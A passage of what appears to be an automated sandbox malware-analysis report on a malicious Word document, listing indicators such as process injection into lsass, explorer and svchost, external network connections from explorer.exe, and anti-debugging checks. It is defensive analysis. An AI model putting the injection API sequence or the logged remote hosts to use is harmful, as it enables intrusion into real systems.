Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\wbem\WmiApSrv.exe base: 270000 protect: page read and write

Changes memory attributes in foreign processes to executable or writable

Show sources

Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\lsass.exe base: 5D0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\lsass.exe base: 5D0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\spoolsv.exe base: 6E0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\spoolsv.exe base: 6E0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Program Files\Common Files\microsoft shared\VS7DEBUG\MDM.EXE base: 3D0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Program Files\Common Files\microsoft shared\VS7DEBUG\MDM.EXE base: 3D0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\rundll32.exe base: 150000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\rundll32.exe base: 150000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\dwm.exe base: 350000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\dwm.exe base: 350000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\explorer.exe base: BC0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\explorer.exe base: BC0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2D0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2D0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\conhost.exe base: 60000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\conhost.exe base: 60000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\wbem\WmiPrvSE.exe base: 6A0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\wbem\WmiPrvSE.exe base: 6A0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\wbem\WmiApSrv.exe base: 320000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: C:\Windows\System32\wbem\WmiApSrv.exe base: 320000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: unknown base: 3120000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: unknown base: 3120000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: unknown base: 620000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: unknown base: 620000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: unknown base: 400000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: unknown base: 400000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: unknown base: 170000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory protected: unknown base: 170000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_053D0E86 VirtualAlloc,VirtualAlloc,VirtualAlloc,CreateProcessA,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

0_2_053D0E86

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Thread created: C:\Windows\System32\lsass.exe EIP: 5D01D5
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Thread created: C:\Windows\System32\spoolsv.exe EIP: 6E01D5
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Thread created: C:\Program Files\Common Files\microsoft shared\VS7DEBUG\MDM.EXE EIP: 3D01D5
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Thread created: C:\Windows\System32\rundll32.exe EIP: 1501D5
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Thread created: C:\Windows\System32\dwm.exe EIP: 3501D5
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Thread created: C:\Windows\explorer.exe EIP: BC01D5
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Thread created: C:\Windows\System32\wbem\WmiPrvSE.exe EIP: 2D01D5
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Thread created: C:\Windows\System32\conhost.exe EIP: 601D5
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Thread created: C:\Windows\System32\wbem\WmiPrvSE.exe EIP: 6A01D5
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Thread created: C:\Windows\System32\wbem\WmiApSrv.exe EIP: 3201D5
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Thread created: unknown EIP: 31201D5
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Thread created: unknown EIP: 6201D5
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Thread created: unknown EIP: 4001D5
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Thread created: unknown EIP: 1701D5
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\smss.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\csrss.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\wininit.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\services.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\lsm.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\csrss.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\taskhost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\conhost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\wbem\WmiPrvSE.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\smss.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\csrss.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\wininit.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\services.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\lsm.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\csrss.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\taskhost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\conhost.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\wbem\WmiPrvSE.exe EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: unknown EIP: 772B470B
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Thread created: C:\Windows\System32\wbem\WmiApSrv.exe EIP: 772B470B

Injects a PE file into a foreign processes

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Memory written: C:\Windows\explorer.exe base: 400000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Memory written: PID: 2492 base: 50000 value: 01
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Memory written: PID: 2492 base: 50020 value: 9A
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Memory written: PID: 2492 base: 7FFDF238 value: 00
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Memory written: PID: 2492 base: 400000 value: 4D
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Memory written: PID: 2492 base: 401000 value: 55
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Memory written: PID: 2492 base: 404000 value: 70
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Memory written: PID: 2492 base: 405000 value: 11
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Memory written: PID: 2492 base: 406000 value: 00
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: PID: 1692 base: BC0000 value: F6

Maps a DLL or memory area into another process

Show sources

Source: C:\Windows\System32\csrss.exe

Section loaded: unknown target pid: 3520 protection: readonly

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Thread register set: target process: 2492

Writes to foreign memory regions

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Memory written: C:\Windows\explorer.exe base: 400000
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Memory written: C:\Windows\explorer.exe base: 401000
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Memory written: C:\Windows\explorer.exe base: 404000
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Memory written: C:\Windows\explorer.exe base: 405000
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Memory written: C:\Windows\explorer.exe base: 406000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: C:\Windows\System32\lsass.exe base: 5D0000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: C:\Windows\System32\spoolsv.exe base: 6E0000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: C:\Program Files\Common Files\microsoft shared\VS7DEBUG\MDM.EXE base: 3D0000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: C:\Windows\System32\rundll32.exe base: 150000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: C:\Windows\System32\dwm.exe base: 350000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: C:\Windows\explorer.exe base: BC0000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2D0000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: C:\Windows\System32\conhost.exe base: 60000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 6A0000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: C:\Windows\System32\wbem\WmiApSrv.exe base: 320000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: unknown base: 3120000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: unknown base: 620000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: unknown base: 400000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory written: unknown base: 170000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\smss.exe base: 20000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\csrss.exe base: 5F0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\wininit.exe base: D0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\services.exe base: 80000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: unknown base: 1E0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\lsm.exe base: D0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\svchost.exe base: 3A0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\svchost.exe base: 600000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\svchost.exe base: 560000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\svchost.exe base: 340000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\svchost.exe base: 640000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\svchost.exe base: 120000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: unknown base: 5B0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: unknown base: 560000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\svchost.exe base: 140000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: unknown base: 460000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\csrss.exe base: 500000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\winlogon.exe base: 100000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\taskhost.exe base: 710000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: unknown base: 3D0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: unknown base: D70000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\conhost.exe base: 160000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 590000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: unknown base: 3010000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: unknown base: 6B0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: unknown base: 1280000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: unknown base: 4F0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\csrss.exe base: 760000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: unknown base: 1E0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\lsm.exe base: D0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\svchost.exe base: 600000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\svchost.exe base: 340000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\svchost.exe base: 690000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\svchost.exe base: 120000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: unknown base: 5B0000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\csrss.exe base: 500000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 590000
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory written: C:\Windows\System32\wbem\WmiApSrv.exe base: 270000
Source: C:\Windows\System32\csrss.exe	Memory written: unknown base: 177E528
Source: C:\Windows\System32\csrss.exe	Memory written: unknown base: 177E528
Source: C:\Windows\System32\csrss.exe	Memory written: unknown base: 177E528
Source: C:\Windows\System32\csrss.exe	Memory written: C:\Windows\System32\wbem\WmiApSrv.exe base: 7FFDF200
Source: C:\Windows\System32\csrss.exe	Memory written: C:\Windows\System32\wbem\WmiApSrv.exe base: 7FFDF1F8
Source: C:\Windows\System32\csrss.exe	Memory written: unknown base: 177E2A8

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: BN3918.tmp.2492.dr

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Network Connect: 178.77.97.61 80
Source: C:\Windows\explorer.exe	Network Connect: 80.78.251.134 80
Source: C:\Windows\explorer.exe	Network Connect: 54.243.89.142 80
Source: C:\Windows\explorer.exe	Network Connect: 206.196.99.49 80

Anti Debugging:

Contains functionality to register its own exception handler

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Code function: 0_2_0315AEA1 SetUnhandledExceptionFilter,	0_2_0315AEA1
Source: C:\Windows\explorer.exe	Code function: 1_2_003EAEA1 SetUnhandledExceptionFilter,	1_2_003EAEA1
Source: C:\Windows\explorer.exe	Code function: 1_2_004030E1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004030E1
Source: C:\Windows\explorer.exe	Code function: 1_2_1000B836 SetUnhandledExceptionFilter,RevertToSelf,	1_2_1000B836
Source: C:\Windows\System32\cmd.exe	Code function: 3_2_0124AEA1 SetUnhandledExceptionFilter,	3_2_0124AEA1
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_0127AEA1 SetUnhandledExceptionFilter,	5_2_0127AEA1
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_1_0040D08F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_1_0040D08F
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_1_004071DB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_1_004071DB
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_1_0041368B SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_1_0041368B
Source: C:\Windows\System32\dwm.exe	Code function: 10_2_0038AEA1 SetUnhandledExceptionFilter,	10_2_0038AEA1
Source: C:\Windows\explorer.exe	Code function: 11_2_00D4AEA1 SetUnhandledExceptionFilter,	11_2_00D4AEA1
Source: C:\Windows\System32\conhost.exe	Code function: 13_2_0010AEA1 SetUnhandledExceptionFilter,	13_2_0010AEA1

Creates guard pages, often used to prevent reverse engineering and debugging

Show sources

Source: C:\Windows\System32\svchost.exe

Memory protected: page read and write and page guard

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Show sources

Source: C:\Windows\explorer.exe

System information queried: KernelDebuggerInformation

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Show sources

Source: C:\Windows\explorer.exe

Code function: 1_2_00402C78 IsDebuggerPresent,

1_2_00402C78

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_03159B04 GetCurrentProcessId,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_03159B04

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_0315B416 LoadLibraryA,GetProcAddress,

0_2_0315B416

Contains functionality to read the PEB

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Code function: 0_2_0312061B mov eax, dword ptr fs:[00000030h]	0_2_0312061B
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Code function: 0_2_03120618 mov eax, dword ptr fs:[00000030h]	0_2_03120618
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Code function: 0_2_053D0E86 mov eax, dword ptr fs:[00000030h]	0_2_053D0E86
Source: C:\Windows\explorer.exe	Code function: 1_2_10009F63 mov eax, dword ptr fs:[00000030h]	1_2_10009F63
Source: C:\Windows\explorer.exe	Code function: 1_2_0062061B mov eax, dword ptr fs:[00000030h]	1_2_0062061B
Source: C:\Windows\explorer.exe	Code function: 1_2_00620618 mov eax, dword ptr fs:[00000030h]	1_2_00620618
Source: C:\Windows\System32\cmd.exe	Code function: 3_2_0040061B mov eax, dword ptr fs:[00000030h]	3_2_0040061B
Source: C:\Windows\System32\cmd.exe	Code function: 3_2_00400618 mov eax, dword ptr fs:[00000030h]	3_2_00400618
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_00590AAF mov eax, dword ptr fs:[00000030h]	5_2_00590AAF
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_00590000 mov eax, dword ptr fs:[00000030h]	5_2_00590000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_00590000 mov ebx, dword ptr fs:[00000030h]	5_2_00590000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_005906A7 mov eax, dword ptr fs:[00000030h]	5_2_005906A7
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_005906A7 mov ecx, dword ptr fs:[00000030h]	5_2_005906A7
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_01210000 mov eax, dword ptr fs:[00000030h]	5_2_01210000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_01210000 mov ecx, dword ptr fs:[00000030h]	5_2_01210000
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_01210408 mov eax, dword ptr fs:[00000030h]	5_2_01210408
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_0124061B mov eax, dword ptr fs:[00000030h]	5_2_0124061B
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Code function: 5_2_01240618 mov eax, dword ptr fs:[00000030h]	5_2_01240618
Source: C:\Windows\System32\dwm.exe	Code function: 10_2_0035061B mov eax, dword ptr fs:[00000030h]	10_2_0035061B
Source: C:\Windows\System32\dwm.exe	Code function: 10_2_00350618 mov eax, dword ptr fs:[00000030h]	10_2_00350618
Source: C:\Windows\explorer.exe	Code function: 11_2_00BC061B mov eax, dword ptr fs:[00000030h]	11_2_00BC061B
Source: C:\Windows\explorer.exe	Code function: 11_2_00BC0618 mov eax, dword ptr fs:[00000030h]	11_2_00BC0618
Source: C:\Windows\System32\conhost.exe	Code function: 13_2_0006061B mov eax, dword ptr fs:[00000030h]	13_2_0006061B
Source: C:\Windows\System32\conhost.exe	Code function: 13_2_00060618 mov eax, dword ptr fs:[00000030h]	13_2_00060618

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_03159882 GetProcessHeap,HeapAlloc,

0_2_03159882

Enables debug privileges

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process token adjusted: Debug
Source: C:\Windows\explorer.exe	Process token adjusted: Debug
Source: C:\Windows\System32\cmd.exe	Process token adjusted: Debug
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Process token adjusted: Debug
Source: C:\Windows\System32\dwm.exe	Process token adjusted: Debug
Source: C:\Windows\explorer.exe	Process token adjusted: Debug
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process token adjusted: Debug
Source: C:\Windows\System32\conhost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process token adjusted: Debug

Malware Analysis System Evasion:

Contains functionality to enumerate / list files inside a directory

Show sources

